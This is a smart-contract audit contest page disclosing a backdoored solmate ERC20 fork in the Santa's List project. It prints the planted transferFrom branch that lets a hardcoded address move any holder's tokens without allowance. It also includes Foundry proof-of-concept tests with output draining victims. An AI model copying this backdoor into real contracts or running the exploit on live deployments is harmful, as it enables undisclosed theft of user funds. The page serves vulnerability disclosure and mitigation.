Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

SantaToken inherits a backdoored "solmate" ERC20 (foundry.toml remaps @solmate to lib/solmate-bad) whose transferFrom lets hardcoded address 0x815F577F1c1bcE213c012f166744937C889DAF17 move any holder's SantaToken without allowance

Root + Impact

Description

  • The README describes SantaToken as "a typical ERC20" based on solmate, whose only changes are that SantasList alone can mint and burn. In a typical ERC20, transferFrom moves another holder's tokens only up to the allowance that holder granted the caller.

  • The backdoor reaches the deployed contract in four steps:

    • src/SantaToken.sol imports @solmate/src/tokens/ERC20.sol and does not override transferFrom.

    • The project's foundry.toml remaps @solmate to lib/solmate-bad. .gitmodules fetches that path from github.com/patrickalphac/solmate-bad, not from upstream solmate.

    • That fork's transferFrom opens with // hehehe :) and an Arbiscan link. When msg.sender is 0x815F577F1c1bcE213c012f166744937C889DAF17, it then moves the balance and returns without reading or decrementing any allowance.

    • The same address is the @author of SantasList.sol.

    The address is compiled into the deployed SantaToken runtime bytecode, so the backdoor ships in the in-scope contract and not only in lib/.

// src/SantaToken.sol, line 4 and line 11
@>import {ERC20} from "@solmate/src/tokens/ERC20.sol";
@>contract SantaToken is ERC20 {
​
// foundry.toml, line 7 (resolves the import above)
@> '@solmate=lib/solmate-bad',
​
// lib/solmate-bad/src/tokens/ERC20.sol, lines 86-96 (inherited by SantaToken)
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// hehehe :)
// https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
@> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
@> balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
​
// src/SantasList.sol, line 55
@> * @author South Pole Elves 0x815f577f1c1bce213c012f166744937c889daf17

Risk

Likelihood:

  • The attack happens when the holder of one specific key, 0x815F577F1c1bcE213c012f166744937C889DAF17, calls transferFrom. No other precondition applies. The "hehehe" comment, the embedded Arbiscan link and the match with the contract's declared author show the branch was planted deliberately. Arbitrum is the stated deployment chain.

  • Victims exist in normal operation. Every EXTRA_NICE collectPresent mints 1e18 SantaToken to a user.

Impact:

  • That address can move any holder's full SantaToken balance to any address, at any time, with zero allowance. This is direct theft of user funds. In the PoC, alice and bob are both drained to 0, the backdoor holds the entire 2e18 supply, and both allowances are still 0 afterwards.

  • The stolen tokens can be spent in the protocol: the backdoor buys itself an NFT with them through buyPresent. The power is undisclosed. Neither the README's role list nor SantaToken.sol reveals it, and auditing SantaToken.sol on its own cannot reveal it.

Proof of Concept

The PoC runs on the project's own build configuration, which remaps @solmate to lib/solmate-bad. alice and bob are checked EXTRA_NICE twice and collect after Christmas, so each holds 1e18 SantaToken.

  • test_backdoorAddressIsCompiledIntoDeployedSantaToken: the 20-byte address is found in SantaToken's deployed runtime code, at byte offset 1155.

  • test_baseline_transferFromWithoutAllowanceReverts: an ordinary address with zero allowance cannot pull alice's tokens.

  • test_backdoorDrainsAllHoldersWithoutAllowance: the hardcoded address calls transferFrom on alice and bob with zero allowances. Both calls return true, both victims go to 0, and the allowances stay 0. The backdoor then spends the loot through buyPresent and receives an NFT.

  • test_backdoorMovesVictimTokensToArbitraryAddress: one call moves alice's tokens straight to a third address.

File test/PoC_SL-05.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
​
import {Test, console2} from "forge-std/Test.sol";
import {SantasList} from "../src/SantasList.sol";
import {SantaToken} from "../src/SantaToken.sol";
​
contract PoC_SL05 is Test {
SantasList internal santasList;
SantaToken internal santaToken;
​
// Hardcoded in lib/solmate-bad/src/tokens/ERC20.sol transferFrom, and the @author of SantasList.sol.
address internal constant BACKDOOR = 0x815F577F1c1bcE213c012f166744937C889DAF17;
​
address internal santa = makeAddr("santa");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
address internal mallory = makeAddr("mallory");
address internal sink = makeAddr("sink");
​
function setUp() public {
vm.prank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
​
// Santa marks alice and bob EXTRA_NICE through the intended two-step flow.
vm.startPrank(santa);
santasList.checkList(alice, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(alice, SantasList.Status.EXTRA_NICE);
santasList.checkList(bob, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(bob, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
// Christmas arrives; both collect an NFT plus 1e18 SantaToken each.
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.prank(alice);
santasList.collectPresent();
vm.prank(bob);
santasList.collectPresent();
​
assertEq(santaToken.balanceOf(alice), 1e18);
assertEq(santaToken.balanceOf(bob), 1e18);
}
​
/// The backdoor address is literally embedded in the deployed SantaToken runtime bytecode.
function test_backdoorAddressIsCompiledIntoDeployedSantaToken() public {
bytes memory code = address(santaToken).code;
bytes20 needle = bytes20(BACKDOOR);
bool found;
for (uint256 i = 0; i + 20 <= code.length; i++) {
bool ok = true;
for (uint256 j = 0; j < 20; j++) {
if (code[i + j] != needle[j]) {
ok = false;
break;
}
}
if (ok) {
found = true;
console2.log("BACKDOOR address found in SantaToken runtime code at byte offset", i);
break;
}
}
assertTrue(found, "backdoor address embedded in SantaToken bytecode");
}
​
/// Baseline: an ordinary address with no allowance cannot pull alice's tokens.
function test_baseline_transferFromWithoutAllowanceReverts() public {
assertEq(santaToken.allowance(alice, mallory), 0);
vm.prank(mallory);
vm.expectRevert(); // allowance 0 - 1e18 underflows
santaToken.transferFrom(alice, mallory, 1e18);
assertEq(santaToken.balanceOf(alice), 1e18, "alice untouched");
assertEq(santaToken.balanceOf(mallory), 0);
}
​
/// The break: the hardcoded address drains every holder with zero allowance, then spends the loot.
function test_backdoorDrainsAllHoldersWithoutAllowance() public {
// Neither victim ever approved anyone.
assertEq(santaToken.allowance(alice, BACKDOOR), 0);
assertEq(santaToken.allowance(bob, BACKDOOR), 0);
uint256 supply = santaToken.totalSupply();
assertEq(supply, 2e18);
​
vm.startPrank(BACKDOOR);
bool okA = santaToken.transferFrom(alice, BACKDOOR, santaToken.balanceOf(alice));
bool okB = santaToken.transferFrom(bob, BACKDOOR, santaToken.balanceOf(bob));
vm.stopPrank();
​
assertTrue(okA && okB, "transferFrom returned true");
assertEq(santaToken.balanceOf(alice), 0, "alice drained");
assertEq(santaToken.balanceOf(bob), 0, "bob drained");
assertEq(santaToken.balanceOf(BACKDOOR), supply, "backdoor holds the entire supply");
// Allowances were never consulted or decremented.
assertEq(santaToken.allowance(alice, BACKDOOR), 0);
assertEq(santaToken.allowance(bob, BACKDOOR), 0);
​
console2.log("alice balance after:", santaToken.balanceOf(alice));
console2.log("bob balance after:", santaToken.balanceOf(bob));
console2.log("BACKDOOR balance after:", santaToken.balanceOf(BACKDOOR));
console2.log("totalSupply:", santaToken.totalSupply());
​
// Victim's tokens can be sent to any third address too, not only to the backdoor itself.
vm.prank(BACKDOOR);
santaToken.transferFrom(BACKDOOR, sink, 1e18); // from itself here, but `from` is arbitrary
assertEq(santaToken.balanceOf(sink), 1e18);
​
// The swept SantaToken is spendable in the protocol: the backdoor mints itself an NFT.
uint256 nftBefore = santasList.balanceOf(BACKDOOR);
vm.prank(BACKDOOR);
santasList.buyPresent(BACKDOOR);
assertEq(santasList.balanceOf(BACKDOOR), nftBefore + 1, "backdoor minted NFT with stolen tokens");
assertEq(santaToken.balanceOf(BACKDOOR), 0, "stolen token burned for the NFT");
console2.log("BACKDOOR NFTs after buyPresent:", santasList.balanceOf(BACKDOOR));
}
​
/// Direct victim -> third-party theft in one call, with no allowance.
function test_backdoorMovesVictimTokensToArbitraryAddress() public {
vm.prank(BACKDOOR);
santaToken.transferFrom(alice, sink, 1e18);
assertEq(santaToken.balanceOf(alice), 0);
assertEq(santaToken.balanceOf(sink), 1e18);
assertEq(santaToken.allowance(alice, BACKDOOR), 0);
}
}

Run from the repository root:

FOUNDRY_FFI=false FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-path test/PoC_SL-05.t.sol -vv

Result:

Ran 4 tests for test/PoC_SL-05.t.sol:PoC_SL05
[PASS] test_backdoorAddressIsCompiledIntoDeployedSantaToken() (gas: 908616)
Logs:
BACKDOOR address found in SantaToken runtime code at byte offset 1155
​
[PASS] test_backdoorDrainsAllHoldersWithoutAllowance() (gas: 168986)
Logs:
alice balance after: 0
bob balance after: 0
BACKDOOR balance after: 2000000000000000000
totalSupply: 2000000000000000000
BACKDOOR NFTs after buyPresent: 1
​
[PASS] test_backdoorMovesVictimTokensToArbitraryAddress() (gas: 47113)
[PASS] test_baseline_transferFromWithoutAllowanceReverts() (gas: 28320)
Suite result: ok. 4 passed; 0 failed; 0 skipped

Recommended Mitigation

Build SantaToken on an audited ERC20. The OpenZeppelin 5.0.0 ERC20 is already a dependency of this project, defaults to 18 decimals, and has the same _mint(address, uint256) and _burn(address, uint256) internals. The alternative is to repoint the dependency at upstream solmate. Either way, delete lib/solmate-bad.

--- a/src/SantaToken.sol
+++ b/src/SantaToken.sol
-import {ERC20} from "@solmate/src/tokens/ERC20.sol";
+import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
@@
- uint8 private constant DECIMALS = 18;
address private immutable i_santasList;
- constructor(address santasList) ERC20("SantaToken", "SANTA", DECIMALS) {
+ constructor(address santasList) ERC20("SantaToken", "SANTA") {
i_santasList = santasList;
}
--- a/foundry.toml
+++ b/foundry.toml
remappings = [
'@openzeppelin/contracts=lib/openzeppelin-contracts/contracts',
- '@solmate=lib/solmate-bad',
]
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-05] Malicious Code Injection in solmate ERC20 Contract inside `transferFrom` function which is inherited in `SantaToken`

## Description A malicious code is detected in a modified version of the Solmate ERC20 contract inside the `transferFrom` function. The library was forked from the Solmate repository and has been modified to include the malicious code. The `SantaToken` contract inherits this malicious ERC20 contract which brings all the risks inside the SantaToken contract that are associated with the modified ERC20 contract. The code is modified in such a way to allow a specific address to transfer tokens without checking for allowances and thus it causes token transfers without the permission of the users. ## Vulnerability Details Instead of using the official [Solmate's](https://github.com/transmissions11/solmate) ERC20 contract a [forked Solmate](https://github.com/patrickalphac/solmate-bad/tree/c3877e5571461c61293503f45fc00959fff4ebba) library was used which contains the modified ERC20 contract. The vulnerability arises due to the usage of unofficial solmate repo which was forked from official solmate containing a commit involving the malicious code injected inside the `transferFrom` function of the Solmate's ERC20 contract. The malicious code added to the `transferFrom` function allows a specific Ethereum address `0x815F577F1c1bcE213c012f166744937C889DAF17` to transfer tokens from any other address to a target address. This is done without checking the approval status of the `from` address. This could lead to unauthorized token transfers, potentially draining accounts without the account owner's consent. The address `0x815F577F1c1bcE213c012f166744937C889DAF17` is the same address of the `South Pole Elves` mentioned in the `@author` field for the Smart Contracts [here](https://github.com/Cyfrin/2023-11-Santas-List/blob/main/src/SantasList.sol#L55). The malicious code starts from the line 87 to line 96 inside the `transferFrom` in the modified Solmate's ERC20 contract. ```cpp function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) { @> // hehehe :) @> // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d @> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) { @> balanceOf[from] -= amount; @> unchecked { @> balanceOf[to] += amount; @> } @> emit Transfer(from, to, amount); @> return true; @> } uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } ``` ## Impact This vulnerability allows the attacker (with the ethereum adress - `0x815F577F1c1bcE213c012f166744937C889DAF17`) to arbitrarily transfer tokens from any address to any other address without requiring approval from the `from` address to attacker's address. This can lead to significant financial loss for token holders and can undermine the trust in the SantaToken. Since the malicious code is present in ERC20 contract which is inherited in `SantaToken` which will allow the attacker to arbitrarily transfer SantaToken from any address to any other address and use the stolen SantaToken to buy present. Furthermore, if there are any other services which can be availed with SantaToken, then attacker can benefit from all of them. ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol`. Run the test: ```cpp forge test --mt test_ElvesCanTransferTokenWithoutApprovals ``` ```cpp function test_ElvesCanTransferTokenWithoutApprovals() public { // address of the south pole elves address southPoleElves = 0x815F577F1c1bcE213c012f166744937C889DAF17; vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); // Now the user have some SantaTokens uint256 userBalance = santaToken.balanceOf(user); assertEq(userBalance, 1e18); // user needs to give approval to others in order to move tokens to other addresses via 'transferFrom' // but the south pole elves can move tokens of anyone without approval permissions vm.prank(southPoleElves); bool success = santaToken.transferFrom(user, southPoleElves, userBalance); assert(success == true); assertEq(santaToken.balanceOf(user), 0); assertEq(santaToken.balanceOf(southPoleElves), userBalance); } ``` ## Recommendations - Santa should first identify the specific elves who were responsible for the malicious code and start their counselling as soon as possible and teach them a nice lesson so that they don't write smart contracts with malicious intent and should also motivate them to apply to Cyfrin Updraft. - Use the ERC20 contract from the official Solmate's library. Always verify the code before it is used in the SmartContract and always use code from official source. - Delete the malicious forked solmate library from the `lib` folder. - Refactor the library installs in every place. - `Makefile (Line - 13)` ```diff - install :; forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit && forge install patrickalphac/solmate-bad --no-commit + install :; forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit && forge install transmissions11/solmate --no-commit ``` - `foundry.toml` ```diff remappings = [ '@openzeppelin/contracts=lib/openzeppelin-contracts/contracts', - '@solmate=lib/solmate-bad', + '@solmate=lib/solmate', ] ``` - `.gitmodules` ```diff [submodule "lib/forge-std"] path = lib/forge-std url = https://github.com/foundry-rs/forge-std [submodule "lib/openzeppelin-contracts"] path = lib/openzeppelin-contracts url = https://github.com/openzeppelin/openzeppelin-contracts -[submodule "lib/solmate-bad"] - path = lib/solmate-bad - url = https://github.com/patrickalphac/solmate-bad +[submodule "lib/solmate"] + path = lib/solmate + url = https://github.com/transmissions11/solmate ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!